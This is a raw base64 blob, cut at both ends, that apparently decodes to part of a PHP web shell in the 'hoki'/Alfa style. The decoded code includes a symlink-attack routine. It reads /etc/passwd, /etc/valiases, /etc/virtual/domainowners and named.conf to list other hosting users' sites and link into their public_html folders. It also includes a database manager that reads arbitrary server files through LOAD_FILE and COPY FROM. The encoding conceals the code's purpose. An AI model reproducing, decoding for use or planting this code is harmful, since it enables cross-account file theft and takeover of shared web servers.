Jy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7CgkJCWlmKCRpc19wb3NpeCl7CgkJCQkkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTs
KCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7CgkJCQkkb3duZXIgPSBob2tpRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbixmYWxzZSxmYWxzZSk7CgkJCX0KCQl9Cgl9CglpZighJGFub255bW91cyl7CgkJaWYoc3RybGVuKC
Rvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsKCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluO
woJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7CgkJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJfQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21h
aW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsKCX0KfQp
pZigkYW5vbnltb3VzKXsKCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIG
NhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd
25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBob2tpTWFrZVB3ZCgpOwppZihfaG9raV9maWxlX2V4aXN0
cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7CgkkaXNfZGlyZWN0ID0gdHJ1ZTsKfQoka2lzZSA9IF9ob2tpX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnM
iKTsKJGNvdW50PTE7CmVjaG8gJHRhYmxlX2hlYWRlcjsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZX
Q9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+P
HNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nL2hva2lzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJf
YmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmlmKCRraXNlKXsKCWZvcmVhY2goJGtpc2UgYXMgJHZpc2libGUpewoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7CgkJCSR
raXNlcnlvdW5pID0gZXhwbG9kZSgnOicsICR2aXNpYmxlKTsKCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCB0cmltKCRraXNlcnlvdW5pWzFdKSwgJG1ha2Vwd2QpOwoJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3
VzZXJ9Iiwie3VybH0iLCJ7Y3dkfSIpLCBhcnJheSgkY291bnQrKywgdHJpbSgka2lzZXJ5b3VuaVsxXSksIHRyaW0oJGtpc2VyeW91bmlbMF0pLCAkY3dkKSwgJHRlbXBsYXRlKTsKCQl9Cgl9Cn1lbHNlewoJJHBhc3N3ZCA9IF9ob2tpX2ZpbGUoI
i9ldGMvcGFzc3dkIik7CglpZigkcGFzc3dkKXsKCQkkaHRtbCA9ICIiOwoJCSRpc19uYW1lZCA9IGZhbHNlOwoJCSR1c2VycyA9IGFycmF5KCk7CgkJJGRvbWFpbnMgPSBhcnJheSgpOwoJCSR1a25vd25zID0gYXJyYXkoKTsKCQlmb3JlYWNoKCRw
YXNzd2QgYXMgJHVzZXIpewoJCQkkdXNlciA9IHRyaW0oJHVzZXIpOwoJCQkkZXhwbCA9IGV4cGxvZGUoIjoiLCAkdXNlcik7CgkJCWlmKChpbnQpJGV4cGxbMl0gPCA1MDApY29udGludWU7CgkJCSR1c2Vyc1skZXhwbFswXV0gPSAkZXhwbFs1XTs
KCQl9CgkJJHNpdGVfZG9tYWlucyA9IEBzY2FuZGlyKCIvZXRjL3ZpcnR1YWwvIik7CgkJaWYoISRzaXRlX2RvbWFpbnMpewoJCQkkc2l0ZV9kb21haW5zID0gaG9raUV4KCJscyAvZXRjL3ZpcnR1YWwvIik7CgkJCSRzaXRlX2RvbWFpbnMgPSBleH
Bsb2RlKCJcbiIsICRzaXRlX2RvbWFpbnMpOwoJCQlpZighJHNpdGVfZG9tYWlucyl7CgkJCQkkc2l0ZV9kb21haW5zID0gX2hva2lfZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CgkJCQlpZigkc2l0ZV9kb21haW5zKXskaXNfbmFtZWQgPSB0cnVlO
30KCQkJfQoJCX0KCQlmb3JlYWNoKCRzaXRlX2RvbWFpbnMgYXMgJGxpbmUpewoJCQlpZigkaXNfbmFtZWQpewoJCQkJaWYoQHN0cnN0cigkbGluZSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAk
ZGF0YSk7CgkJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQkJCWlmKHN0cmxlbigkZG9tYWluICA+IDIpICYmICFlbXB0eSgkZG9tYWluKSl7CgkJCQkJCSRkb21haW5zW10gPSAkZG9tYWluOwoJCQkJCX0KCQkJCX0KCQkJfWVsc2V7CgkJCQk
kZG9tYWluc1tdID0gJGxpbmU7CgkJCX0KCQl9CgkJJHggPSAxOwoJCWZvcmVhY2goJHVzZXJzIGFzICR1c2VyID0+ICRob21lKXsKCQkJZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsKCQkJCSR1c2VyX2xlbiA9IHN0cmxlbigkdXNlcikgLS
AxOwoJCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQkJJGZpdmVfdXNlciA9IHN1YnN0cigkdXNlciwgMCwkdXNlcl9sZW4pOwoJCQkJJGZpdmVfZG9tYWluID0gc3Vic3RyKCRzdWJfZ
G9tYWluLCAwLCR1c2VyX2xlbik7CgkJCQlpZigkZml2ZV91c2VyID09ICRmaXZlX2RvbWFpbil7CgkJCQkJaWYoJGlzX2RpcmVjdCl7CgkJCQkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKCQkJCQl9ZWxz
ZXsKCQkJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsKCQkJCQkJJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsKCQkJCQl9CgkJCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSI
sICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgJGRvbWFpbiwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJCQl9ZWxzZXsKCQkJCQkkdWtub3duc1skdXNlcl0gPSAkaG9tZTsKCQkJCX0KCQkJfQoJCX0KCQkkdWtub3ducyA9IGFycmF5X3VuaXF1ZS
gkdWtub3ducyk7CgkJZm9yZWFjaCgkdWtub3ducyBhcyAkdXNlciA9PiAkaG9tZSl7CgkJCWlmKCRpc19kaXJlY3QpewoJCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOwoJCQl9ZWxzZXsKCQkJCSRleHBsI
D0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CgkJCQkkY3dkID0gJGhvbWUuIi8iLiRleHBsWzFdOwoJCQl9CgkJCSRodG1sIC49IHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCAie2N3ZH0iKSwgYXJyYXkoJHgr
KywgJHVzZXIsICJbPz8/Pz9dIiwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJfQoJCWVjaG8oJGh0bWwpOwoJfQp9CmVjaG8gIjwvdGFibGU+IjsKJGNhbnRfc3ltbGluayA9IGZhbHNlOwp9Cn1lbHNlewoJZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU
9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gU3ltbGluayBGdW5jdGlvbiBEaXNhYmxlZCAhPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iOwoJJGNhbnRfc3ltbGluayA9IGZhbHNlOwp9CmlmKCRjYW50X3
N5bWxpbmspZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPjxicj48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+RXJyb3IuLi48L2ZvbnQ+PC9iPjxicj4nOwplY2hvICI8L2NlbnRlcj48L3RhY
mxlPiI7Cn0KZWNobyAiPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lzcWwoKXsKY2xhc3MgRGJDbGFzc3sKcHVibGljICR0eXBlOwpwdWJsaWMgJGxpbms7CnB1YmxpYyAkcmVzOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vy
cm9yID0gZmFsc2U7CnB1YmxpYyAkbXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnID0gIiI7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCR0eXBlKXsKJHRoaXMtPnR5cGUgPSAkdHlwZTsKfQpmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3M
sICRkYm5hbWUpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKCR0aGlzLT5saW5rID0gQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYm5hbWUpKXsKCXJldHVybiB0cnVlOwp9ZWxzZXsKCSR0aGlzLT5teX
NxbGlfY29ubmVjdF9lcnJvciA9IHRydWU7CgkkdGhpcy0+bXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnID0gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKTsKCXJldHVybiBmYWxzZTsKfQpicmVhazsKY2FzZSAncGdzcWwnOgokaG9zdCA9IGV4cGxvZGUoJ
zonLCAkaG9zdCk7CmlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRi
bmFtZSIpICkgcmV0dXJuIHRydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZWxlY3RkYigkZGIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKEBteXNxbGlfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHR
ydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBxdWVyeSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbGlfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7Cm
JyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZmV0Y2goKXsKJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX
2dldF9hcmcoMCk6JHRoaXMtPnJlczsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVz
KTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3REYnMoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOwpicmVhazsKY2FzZSAncGdzcWw
nOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3RUYWJsZX
MoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlc
nkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsKYnJlYWs7Cn0K
cmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGVycm9yKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX2xhc3R
fZXJyb3IoKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQpyZX
R1cm4gQG15c3FsaV9zZXRfY2hhcnNldCgkdGhpcy0+bGluaywkc3RyKTsKZWxzZQokdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpc
y0+bGluaywgJHN0cik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNU
IExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOwpicmVhazsKY2FzZSAncGdzcWwnOgokdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBraXNlcnlvdW5pKGZpbGUgdGV4dCk7Q09QWSBraXNlcnlvdW5pIEZST00gJyI
uYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIGtpc2VyeW91bmk7Iik7CiRyPWFycmF5KCk7CndoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQokcltdID0gJGlbJ2ZpbGUnXTsKJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGtpc2VyeW
91bmknKTsKcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQp9OwokZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7Cmhva2loZWFkKCk7CiRmb3JtX3Zpc2liaWxpdHkgP
SAidGFibGUiOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKCSRjb25uZWN0aW9uX2RiID0gJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1Rb
J3NxbF9iYXNlJ10pOwoJaWYoJGNvbm5lY3Rpb25fZGIgJiYgIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCSRmb3JtX3Zpc2liaWxpdHkgPSAibm9uZSI7Cgl9Cn0KJGRhdGFiYXNlX2xpc3QgPSBhcnJheSgpOwplY2hvICIKPGRpdiBjbGF
zcz0naGVhZGVyJyBzdHlsZT0nbWluLWhlaWdodDozMDBweDsnPiIuKCRmb3JtX3Zpc2liaWxpdHkhPSJub25lIj8iPGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTcWwgTWFuYWdlciB8PC9kaXY+PHA+Ii5nZXRDb25maWdIdG
1sKCdhbGwnKS4iPC9wPjwvY2VudGVyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206IDEwcHg7Jz48YnV0dG9uIGNsYXNzPSdjb25uZWN0aW9uLWhpcy1idG4gZGItb3B0LWlkJyBvbmNsaWNrPSdob2tpU2hvd0Nvb
m5lY3Rpb25IaXN0b3J5KHRoaXMpOycgbW9kZT0nb24nPkNvbm5lY3Rpb24gSGlzdG9yeTwvYnV0dG9uPjxkaXYgY2xhc3M9J2Nvbm5lY3Rpb25faGlzdG9yeV9ob2xkZXInPjwvZGl2PjwvZGl2PiI6IiIpLiIKPGRpdiBjbGFzcz0nc2YnIGNsYXNz
PSdkYi1vcHQtaWQnPjx0YWJsZSBzdHlsZT0nbWFyZ2luOiAwIGF1dG87Ii4oJGZvcm1fdmlzaWJpbGl0eT09Im5vbmUiPyJkaXNwbGF5Om5vbmU7IjoiIikuIicgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD48ZGl2IGN
sYXNzPVwidHh0Zm9udFwiPlRZUEU8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkhPU1Q8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkRCIFVTRVI8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm
9udFwiPkRCIFBBU1M8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkRCIE5BTUU8L2Rpdj48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPgo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgc2VsZWN0Z
WQ+bXlzcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9ob3N0JyBpZD0nZGJfaG9zdCcgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVj
aWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2xvZ2luJyBpZD0nZGJfdXNlcicgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8nJzpodG1sc3B
lY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfcGFzcycgaWQ9J2RiX3B3JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZW
NpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsKJHRtcCA9ICI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2Jhc2UnIGlkPSdkYl9uYW1lJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSk/J
yc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9iYXNlJ10pKSAuIic+IjsKaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CmlmKCRjb25uZWN0aW9uX2RiKXsKJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7CiRkYi0+bGlzdERicygpOwpl
Y2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwp3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgewpsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKJGRhdGFiYXNlX2xpc3RbXSA9ICR
2YWx1ZTsKZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKfQplY2hvICc8L3NlbGVjdD4nOwp9ZWxzZXsKCWVjaG
8gJHRtcDsKfQp9ZWxzZQplY2hvICR0bXA7CiRjdXJyX215c3FsX2lkID0gJF9QT1NUWydjdXJyZW50X215c3FsX2lkJ107CmVjaG8gIjwvdGQ+Cjx0ZD48YnV0dG9uIG9uY2xpY2s9J2ZzKHRoaXMpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdkYi1vc
HQtaWQgZGItY29ubmVjdC1idG4nPkNvbm5lY3Q8L2J1dHRvbj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdzcWxfY291bnQnIHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tl
ZCcpIC4gIj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5jb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L2Rpdj48L3RkPgo8L3RyPgo8L3RhYmxlPiI7CmlmKCRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3IpewoJZWNobyAnPGRpdiBzdHlsZT0idGV4dC1
hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZTogMTdweDttYXJnaW4tdG9wOiAxOHB4OyI+Jy4kZGItPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZy4nPC9kaXY+JzsKfQppZighZW1wdHkoJGN1cnJfbXlzcWxfaWQpKXsKCSRzcWxfdGl0bGVfZGIgPSAiIj
sKCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkkc3FsX3RpdGxlX2RiID0gImQucXVlcnlTZWxlY3RvcignI3RhYl8iLiRjdXJyX215c3FsX2lkLiIgc3BhbicpLmlubmVySFRNTD0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc
2UnXSkuIic7IjsKCX0KCWVjaG8gIjxzY3JpcHQ+bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydob3N0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9ob3N0J10pLiInO215c3FsX2NhY2hlWyciLiRjdXJyX215c3FsX2lkLiIn
XVsndXNlciddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfbG9naW4nXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydwYXNzJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9wYXNzJ10pLiInO215c3FsX2NhY2hlWyc
iLiRjdXJyX215c3FsX2lkLiInXVsnZGInXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjaGFyc2V0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ2NoYXJzZXQnXS
kuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd0eXBlJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3R5cGUnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjb3VudCddPSciLmFkZHNsYXNoZXMoJF9QT
1NUWydzcWxfY291bnQnXSkuIic7Ii4kc3FsX3RpdGxlX2RiLiJob2tpQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoKTs8L3NjcmlwdD4iOwp9CmlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkp
ewplY2hvICI8ZGl2IGNsYXNzPSdteXNxbC1tYWluJz48ZGl2IG1vZGU9J2Jsb2NrJyBvbmNsaWNrPSdob2tpTXlzcWxUYWJsZVBhbmVsQ3RsKHRoaXMpOycgY2xhc3M9J3RhYmxlcy1wYW5lbC1jdGwgZGItb3B0LWlkJz4mI3gzQzsmI3gzQzs8L2R
pdj48ZGl2IGNsYXNzPSdteXNxbC10YWJsZXMnPjxkaXY+PGlucHV0IHBsYWNlaG9sZGVyPVwiRmlsdGVyIFRhYmxlXCIgc3R5bGU9J3BhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW
1lPSdmaWx0ZXJfYWxsJz48YnV0dG9uIGNsYXNzPSdkYi1vcHQtaWQnIG9uY2xpY2s9J2hva2lNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMpO3JldHVybiBmYWxzZTsnPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9J2Jsb2NrJz48YSBzc
WxfY291bnQ9JyIuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4iJyBtb2RlPSdjbG9zZWQnIG9uY2xpY2s9J2hva2lNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMsdHJ1ZSk7JyBjbGFzcz0nZXhwYW5kZXIgcGFyZW50
LWV4cGFuZGVyIGRiLW9wdC1pZCcgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOyc+PGltZyBzcmM9J2h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1
yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZycgdGl0bGU9J0V4cGFuZC9Db2xsYXBzZSBBbGwgRGF0YUJhc2VzJyBhbHQ9J0V4cGFuZC9Db2xsYXBzZSBBbGwgRGF0YUJhc2VzJz
